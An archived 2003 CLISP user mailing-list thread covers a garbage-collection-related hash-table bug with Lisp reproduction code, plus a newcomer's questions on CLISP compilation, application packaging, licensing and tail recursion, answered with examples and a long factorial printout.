clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.1.6.2.20031202164046.00b16840@mail.hq.irobot.com> (Matt Cross's message of "Tue, 02 Dec 2003 16:43:10 -0500") References: <5.1.1.6.2.20031202164046.00b16840@mail.hq.irobot.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Bug in hash tables? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 2 16:08:03 2003 X-Original-Date: Tue, 02 Dec 2003 19:07:34 -0500 > * Matt Cross [2003-12-02 16:43:10 -0500]: > > I'm running clisp-2.31 on Windows 2000. When I run the code at the > end of this message, it ends up with some entries in the hash table > twice (once with the value 't' and once with the correct numeric > value). Am I doing something incorrect or is this a bug in clisp? indeed this is a bug. moreover, this appears to be a GC-related bug: (defun hash-table-keys (ht) (loop :for kk :being :each :hash-key :of ht :collect kk)) (defun check-hash-unique (ht) (let ((hash-ok t)) (do* ((keys (hash-table-keys ht) (cdr keys)) (key (car keys) (car keys)) (other-keys (cdr keys) (cdr keys))) ((null keys) hash-ok) (when (member key other-keys) (format t "ERROR! key ~s occurs multiple times!~%" key) (setf hash-ok nil))))) (defun do-hash-test (ht) (clrhash ht) (loop for countval upfrom 1 upto 15000 for key = (format nil "HT-~D" countval) do (gethash key ht) (setf (gethash key ht) t) (setf (gethash key ht) countval) finally (check-hash-unique ht))) (loop :repeat 2 :do (loop :with ht = (make-hash-table :size 1000) :for i :from 1 :to 10 :do (format t "~& --- ~d ---~%" i) (do-hash-test ht))) --- 1 --- ERROR! key "HT-12138" occurs multiple times! --- 2 --- ERROR! key "HT-12138" occurs multiple times! --- 3 --- --- 4 --- ERROR! key "HT-8090" occurs multiple times! ERROR! key "HT-5394" occurs multiple times! ERROR! key "HT-2398" occurs multiple times! --- 5 --- ERROR! key "HT-12138" occurs multiple times! --- 6 --- --- 7 --- ERROR! key "HT-5395" occurs multiple times! --- 8 --- ERROR! key "HT-12136" occurs multiple times! ERROR! key "HT-8091" occurs multiple times! ERROR! key "HT-3597" occurs multiple times! --- 9 --- --- 10 --- --- 1 --- ERROR! key "HT-3597" occurs multiple times! --- 2 --- ERROR! key "HT-5395" occurs multiple times! --- 3 --- ERROR! key "HT-12137" occurs multiple times! ERROR! key "HT-8092" occurs multiple times! --- 4 --- ERROR! key "HT-12138" occurs multiple times! --- 5 --- ERROR! key "HT-12138" occurs multiple times! --- 6 --- --- 7 --- ERROR! key "HT-12137" occurs multiple times! ERROR! key "HT-3597" occurs multiple times! --- 8 --- ERROR! key "HT-1599" occurs multiple times! --- 9 --- --- 10 --- ERROR! key "HT-5395" occurs multiple times! note that you get two _different_ error logs for the inner loop! if you replace the strings with (GC-invariant) fixnums, the bug hides. this appears to have been introduced on 2003-05-16 with the DEFINE-HASH-TABLE-TEST patch. I don't see anything in hash_lookup() that could have triggered this. I don't have time for this now, I hope Bruno will look into this. > (defun hashtbl-keys (hashtbl) > (let ((keys ())) > (maphash #'(lambda (key value) > (push key keys) ) > hashtbl) > keys ) ) > > (defun check-hash-unique (hashtbl) > (let ((hash-ok t)) > (do* ((keys (hashtbl-keys hashtbl) (cdr keys)) > (key (car keys) (car keys)) > (other-keys (cdr keys) (cdr keys)) ) > > ((null keys) hash-ok) > > (if (member key other-keys) > (progn > (format t "ERROR! key '~a' occurs multiple times in the > hash table!~%" key) > (setf hash-ok nil) ) ) ) ) ) > > (defparameter *hashtbl* (make-hash-table :size 1000)) > > (defun do-hash-test () > (loop for countval upfrom 1 upto 15000 > for newsym = (gensym) > do > (progn > (gethash newsym *hashtbl*) > (setf (gethash newsym *hashtbl*) t) > (setf (gethash newsym *hashtbl*) countval) ) > finally > (check-hash-unique *hashtbl*) ) ) -- Sam Steingold (http://www.podval.org/~sds) running w2k All extremists should be taken out and shot. From pascal@informatimago.com Wed Dec 03 03:40:04 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARVMS-0006KO-13 for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 03:40:04 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARVMR-0005K3-Ci for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 03:40:03 -0800 Received: from thalassa.informatimago.com (unknown [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 69CF4586E9; Wed, 3 Dec 2003 12:39:56 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 35F0C3ABDC; Wed, 3 Dec 2003 12:39:43 +0100 (CET) Message-ID: <16333.52094.868441.489251@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Matt Cross , Bruno Haible Subject: [clisp-list] Re: Bug in hash tables? In-Reply-To: References: <5.1.1.6.2.20031202164046.00b16840@mail.hq.irobot.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 3 03:41:01 2003 X-Original-Date: Wed, 3 Dec 2003 12:39:42 +0100 Sam Steingold writes: > > * Matt Cross [2003-12-02 16:43:10 -0500]: > > > > I'm running clisp-2.31 on Windows 2000. When I run the code at the > > end of this message, it ends up with some entries in the hash table > > twice (once with the value 't' and once with the correct numeric > > value). Am I doing something incorrect or is this a bug in clisp? > > indeed this is a bug. > moreover, this appears to be a GC-related bug: It does not happen in "2.30 (released 2002-09-15) ..." either interpreted or compiled. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Living free in Alaska or in Siberia, a grizzli's life expectancy is 35 years, but no more than 8 years in captivity. http://www.theadvocates.org/ From BlakeTNC@yahoo.com Wed Dec 03 10:35:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARbqv-00052Q-NI for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 10:35:57 -0800 Received: from fed1mtao01.cox.net ([68.6.19.244]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ARbqv-0000tb-56 for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 10:35:57 -0800 Received: from PURSOYXP ([68.99.218.40]) by fed1mtao01.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with SMTP id <20031203183526.DPRX3322.fed1mtao01.cox.net@PURSOYXP> for ; Wed, 3 Dec 2003 13:35:26 -0500 From: "Blake D" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 3 10:36:02 2003 X-Original-Date: Wed, 3 Dec 2003 11:35:46 -0700 Hello, I am a C++ programmer, new to lisp and clisp, and after looking at the documentation I still am unclear on a few basic things. Does clisp compile to byte code instead of native machine code? How does speed of execution in clisp compare with lisp compilers that compile to native machine code? How would I packaged up a clisp application for distribution? In other words, does it to create a self contained executable, or are applications run in some other way? What would be the command to create an application from the source files a.cl and b.cl? What kind of file(s) would be generated? Would there be one file or more than one? What would be the command to run that application? Does the clisp license allow me to distribute my commercial applications with no restrictions? Does clisp have tail recursion optimization to prevent stack overflows on deep recursions? Thank you, Blake From sds@alphatech.com Wed Dec 03 11:43:33 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARcuL-0001fG-9D for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 11:43:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ARcuK-0001ir-EG for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 11:43:32 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB3Jgsf28760; Wed, 3 Dec 2003 14:42:56 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "Blake D" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Blake D.'s message of "Wed, 3 Dec 2003 11:35:46 -0700") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 3 11:44:09 2003 X-Original-Date: Wed, 03 Dec 2003 14:42:54 -0500 > * Blake D [2003-12-03 11:35:46 -0700]: > > Does clisp compile to byte code instead of native machine code? byte code. > How does speed of execution in clisp compare with lisp compilers that > compile to native machine code? is you are doing lots of floating point computations, you would be better off with CMUCL. otherwise, CLISP is fine. > How would I packaged up a clisp application for distribution? > Does the clisp license allow me to distribute my commercial > applications with no restrictions? > Does clisp have tail recursion optimization to prevent stack overflows > on deep recursions? no. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't use force -- get a bigger hammer. From hin@van-halen.alma.com Wed Dec 03 12:08:37 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARdIb-0003DX-2s for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 12:08:37 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARdIa-00016f-Lj for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 12:08:36 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 4630E10E04E; Wed, 3 Dec 2003 15:08:33 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id hB3K8WfY003501; Wed, 3 Dec 2003 15:08:33 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id hB3K8Wqo003498; Wed, 3 Dec 2003 15:08:32 -0500 Message-Id: <200312032008.hB3K8Wqo003498@van-halen.alma.com> From: "John K. Hinsdale" To: BlakeTNC@yahoo.com Cc: clisp-list@lists.sourceforge.net In-reply-to: Subject: Re: [clisp-list] questions X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 3 12:09:01 2003 X-Original-Date: Wed, 3 Dec 2003 15:08:32 -0500 > I am a C++ programmer, new to lisp and clisp, and after looking at the > documentation I still am unclear on a few basic things. I'm sure you'll get lots of response to this, but you'll probably also benefit from diversity of opinions > Does clisp compile to byte code instead of native machine code? byte code, no native > How does speed of execution in clisp compare with lisp compilers > that compile to native machine code? Really depends on what you are doing. The general answer of course is that a native-compiling Lisp is going to be faster. However, in many cases you will find that Lisp is not the bottleneck; for example I write Oracle database apps using a C library that is interfaced to Lisp (where I do some reporting, stats and anlysis). Most of the bottleneck is in the database query and access, and all of that is in C. The reporting functionality -- for which the programming power of Lisp is invaluable -- nonetheless does not consume a lot (in terms of PERCENTAGE of overall CPU used) of resources. See http://www.cliki.net/Performance%20Benchmarks for some benchmarks. > How would I packaged up a clisp application for distribution? In other > words, does it to create a self contained executable, or are > applications run in some other way? As far as I know, to ship a binary application (assuming your customer cannot be coutned on to already have CLISP installed) you have to ship TWO things - a binary for the CLISP interpreter (including any extra modules that are required) - your application code, optinally compiled into .FAS file See http://clisp.cons.org/impnotes/quickstart.html > What would be the command to create an application from the source > files a.cl and b.cl? The docs (above) suggest concatenating all the lisp code into one file, but I just make a top-level file that calls LOAD on all the seprate Lisp files that make up my app, then add as the first line the Unix interpreter directive #!/usr/local/bin/clisp -q /path/to/toplevel.lisp where toplevel.lisp is a small file that has lines like: ; Set load path (map 'list (lambda (p) (push p *load-paths*)) (reverse '( "/first/dir/to/look" "/next/dir/to/look" ))) ; Load individual files (eval-when (:compile-toplevel :load-toplevel :execute) (mapcar #'load '("some-module" "another-module"))) ; Call the top-level function to do something > What kind of file(s) would be generated? Would there be one file or > more than one? As above (and I might be wrong here), you would need a whole bunch of files for the CLISP environment, and then your app could be a single concatenated file, or a collection of them that are loaded in by a top-level script (which is my practice). > What would be the command to run that application? In Unix, you create a top-level script, with the name of your choice, and then just run that script. This is using the approach of the "#!" interpreter line. > Does the clisp license allow me to distribute my commercial > applications with no restrictions? See http://clisp.cons.org/impnotes/app-dev.html I am not a lawyer, but my interpretation of the above page is: Yes, you can distribute your commercial app w/out restriction as long as your app is not compiled into CLISP itself (which might be the case if you have modules in "C"). I.e., as long as your commercial app consists of separate Lisp code (either in source form, or compiled into un-intelligble .FAS files), then there are no restrictions on the part of the "application" that consists of your own code. But since you would also be distributing a CLISP binary you are of course subject to the restrictions imposed by CLISP's license. So (and CLISP developers please correct me if I am wrong), you could, if you wanted, distribute a commercial CLISP-based app, without divulging the source, by distributing the CLISP binary, together with your application compiled into .FAS files. All that said, I would suggest you consider the advantages of distributing your app as free software (note that that makes it no less of a "commercial" app). See http://www.gnu.org/gnu/thegnuproject.html for some good arguments. > Does clisp have tail recursion optimization to prevent stack > overflows on deep recursions? I'm not sure. The function below gives me a seg. fault when I call it with N larger than 1764 ... (defun factorial (n) (if (<= n 2) n (* n (factorial (- n 1))))) Shouldnt' this use only a little stack? Hope this helps. From pascal@informatimago.com Wed Dec 03 12:28:49 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARdc9-0004Jj-Nk for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 12:28:49 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ARdc8-0001lZ-Va for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 12:28:49 -0800 Received: from thalassa.informatimago.com (unknown [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id DD8F7586E9; Wed, 3 Dec 2003 21:28:46 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 02CAB3CD7F; Wed, 3 Dec 2003 21:28:32 +0100 (CET) Message-ID: <16334.18288.953062.211879@thalassa.informatimago.com> To: "Blake D" Cc: Subject: [clisp-list] questions In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Language: fr, es, en Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 3 12:29:05 2003 X-Original-Date: Wed, 3 Dec 2003 21:28:32 +0100 > Does clisp have tail recursion optimization to prevent stack overflows on > deep recursions? It does seem to do it, but there are other limitations of course: [1]> [2]> (defun fact (x &optional (r 1)) (if (<= x 1) r (fact (1- x) (* x r)))) FACT [9]> (compile 'fact) FACT ; NIL ; NIL [10]> (fact (fact 10)) *** - overflow during multiplication of large numbers 1. Break [11]> :bt EVAL frame for form (FACT (FACT 10)) Printed 0 frames 1. Break [11]> :bt4 EVAL frame for form (FACT (FACT 10)) Printed 0 frames 1. Break [11]> :bt3 frame binding variables (~ = dynamically): | ~ SYSTEM::*PRIN-STREAM* <--> # frame binding variables (~ = dynamically): | ~ *PRINT-READABLY* <--> NIL frame binding variables (~ = dynamically): | ~ *PRINT-ESCAPE* <--> T Printed 2 frames 1. Break [11]> -- __Pascal_Bourguignon__ http://www.informatimago.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Living free in Alaska or in Siberia, a grizzli's life expectancy is 35 years, but no more than 8 years in captivity. http://www.theadvocates.org/ From pascal@informatimago.com Wed Dec 03 12:37:52 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARdku-0004wO-Oc for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 12:37:52 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARdkp-0003R6-2M for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 12:37:47 -0800 Received: from thalassa.informatimago.com (unknown [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 60319586E9; Wed, 3 Dec 2003 21:37:45 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 91DAA3CD7F; Wed, 3 Dec 2003 21:37:31 +0100 (CET) Message-ID: <16334.18827.517046.411171@thalassa.informatimago.com> To: "John K. Hinsdale" Cc: BlakeTNC@yahoo.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] questions In-Reply-To: <200312032008.hB3K8Wqo003498@van-halen.alma.com> References: <200312032008.hB3K8Wqo003498@van-halen.alma.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 3 12:38:04 2003 X-Original-Date: Wed, 3 Dec 2003 21:37:31 +0100 John K. Hinsdale writes: > I'm not sure. The function below gives me a seg. fault when I call it > with N larger than 1764 ... > > (defun factorial (n) > (if (<= n 2) > n > (* n (factorial (- n 1))))) > > Shouldnt' this use only a little stack? You have a problem: [21]> (time (factorial 10000)) Real time: 1.986322 sec. Run time: 1.81 sec. Space: 69640484 Bytes GC: 34, GC time: 1.38 sec. 284625968091705451890641321211986889014805140170279923079417 999427441134000376444377299078675778477581588406214231752883 004233994015351873905242116138271617481982419982759241828925 978789812425312059465996259867065601615720360323979263287367 170557419759620994797203461536981198970926112775004841988454 104755446424421365733030767036288258035489674611170973695786 036701910715127305872810411586405612811653853259684258259955 846881464304255898366493170592517172042765974074461334000541 940524623034368691540594040662278282483715120383221786446271 838229238996389928272218797024593876938030946273322925705554 596900278752822425443480211275590191694254290289169072190970 836905398737474524833728995218023632827412170402680867692104 515558405671725553720158521328290342799898184493136106403814 893044996215999993596708929801903369984844046654192362584249 471631789611920412331082686510713545168455409360330096072103 469443779823494307806260694223026818852275920570292308431261 884976065607425862794488271559568315334405344254466484168945 804257094616736131876052349822863264529215294234798706033442 907371586884991789325806914831688542519560061723726363239744 207869246429560123062887201226529529640915083013366309827338 063539729015065818225742954758943997651138655412081257886837 042392087644847615690012648892715907063064096616280387840444 851916437908071861123706221334154150659918438759610239267132 765469861636577066264386380298480519527695361952592409309086 144719073907685857559347869817207343720931048254756285677776 940815640749622752549933841128092896375169902198704924056175 317863469397980246197370790418683299310165541507423083931768 783669236948490259996077296842939774275362631198254166815318 917632348391908210001471789321842278051351817349219011462468 757698353734414560131226152213911787596883673640872079370029 920382791980387023720780391403123689976081528403060511167094 847222248703891999934420713958369830639622320791156240442508 089199143198371204455983440475567594892121014981524545435942 854143908435644199842248554785321636240300984428553318292531 542065512370797058163934602962476970103887422064415366267337 154287007891227493406843364428898471008406416000936239352612 480379752933439287643983163903127764507224792678517008266695 983895261507590073492151975926591927088732025940663821188019 888547482660483422564577057439731222597006719360617635135795 298217942907977053272832675014880244435286816450261656628375 465190061718734422604389192985060715153900311066847273601358 167064378617567574391843764796581361005996386895523346487817 461432435732248643267984819814584327030358955084205347884933 645824825920332880890257823882332657702052489709370472102142 484133424652682068067323142144838540741821396218468701083595 829469652356327648704757183516168792350683662717437119157233 611430701211207676086978515597218464859859186436417168508996 255168209107935702311185181747750108046225855213147648974906 607528770828976675149510096823296897320006223928880566580361 403112854659290840780339749006649532058731649480938838161986 588508273824680348978647571166798904235680183035041338757319 726308979094357106877973016339180878684749436335338933735869 064058484178280651962758264344292580584222129476494029486226 707618329882290040723904037331682074174132516566884430793394 470192089056207883875853425128209573593070181977083401638176 382785625395168254266446149410447115795332623728154687940804 237185874230262002642218226941886262121072977766574010183761 822801368575864421858630115398437122991070100940619294132232 027731939594670067136953770978977781182882424429208648161341 795620174718316096876610431404979581982364458073682094040222 111815300514333870766070631496161077711174480595527643483333 857440402127570318515272983774359218785585527955910286644579 173620072218581433099772947789237207179428577562713009239823 979219575811972647426428782666823539156878572716201461922442 662667084007656656258071094743987401107728116699188062687266 265655833456650078903090506560746330780271585308176912237728 135105845273265916262196476205714348802156308152590053437211 410003030392428664572073284734817120341681863289688650482873 679333984439712367350845273401963094276976526841701749907569 479827578258352299943156333221074391315501244590053247026803 129123922979790304175878233986223735350546426469135025039510 092392865851086820880706627347332003549957203970864880660409 298546070063394098858363498654661367278807487647007024587901 180465182961112770906090161520221114615431583176699570609746 180853593904000678928785488278509386373537039040494126846189 912728715626550012708330399502578799317054318827526592258149 489507466399760073169273108317358830566126147829976631880700 630446324291122606919312788815662215915232704576958675128219 909389426866019639044897189185974729253103224802105438410443 258284728305842978041624051081103269140019005687843963415026 965210489202721402321602348985888273714286953396817551062874 709074737181880142234872484985581984390946517083643689943061 896502432883532796671901845276205510857076262042445096233232 047447078311904344993514426255017017710173795511247461594717 318627015655712662958551250777117383382084197058933673237244 532804565371785149603088025802840678478094146418386592266528 068679788432506605379430462502871051049293472674712674998926 346273581671469350604951103407554046581703934810467584856259 677679597682994093340263872693783653209122877180774511526226 425487718354611088863608432728062277766430972838790567286180 360486334648933714394152502594596525015209595361579771355957 949657297756509026944280884797612766648470036196489060437619 346942704440702153179435838310514049154626087284866787505416 741467316489993563813128669314276168635373056345866269578945 682750658102359508148887789550739393653419373657008483185044 756822154440675992031380770735399780363392673345495492966687 599225308938980864306065329617931640296124926730806380318739 125961511318903593512664808185683667702865377423907465823909 109555171797705807977892897524902307378017531426803639142447 202577288917849500781178893366297504368042146681978242729806 975793917422294566831858156768162887978706245312466517276227 582954934214836588689192995874020956960002435603052898298663 868920769928340305497102665143223061252319151318438769038237 062053992069339437168804664297114767435644863750268476981488 531053540633288450620121733026306764813229315610435519417610 507124490248732772731120919458651374931909651624976916575538 121985664322079786663003989386602386073578581143947158728008 933741650337929658326184360731333275260236051155242272284472 514638632693697637625101967143801256912277844284269994408291 522159046944372824986580852051865762929927755088331286726384 187132777808744466438753526447335624411394476287809746506839 529821081749679588364522733446948737934717907100649782364660 166805720342979292074468223228486658395222114468595728584038 633772780302275915304978658739195136502462741958990883743873 315942873720297706202071202130385721759332111624133304227737 424163535535879770653096476858860773014327782903288947958184 043788585677729320944767786693575374600481423767411941826716 368704810569111562156143575162905273512243500806046536689174 581965494826086122607502930627614788132689552807361490225258 196828150510333181321296596649581590304212387756459909732967 280666838491662579497479229053618455637410347914307715611686 504842924902811029925296787352987678292690407887784802624792 227507359484058174390862518779468900459420601686051427722444 862724699111462001498806627235388378093806285443847630532350 701320280294883920081321354464500561349870178342711061581772 898192906564986880810455622337030672542512772773302834984335 957725759562247037077933871465930330886296994403183326657975 146765027173462988837773978482187007180267412659971587280354 404784324786749071279216728985235884869435466922551013376063 779151645972542571169684773399511589983490818882812639844005 055462100669887926145582145653196969098272539345157604086134 762587781658672944107753588241623157790825380547469335405824 697176743245234514984830271703965438877376373581917365824542 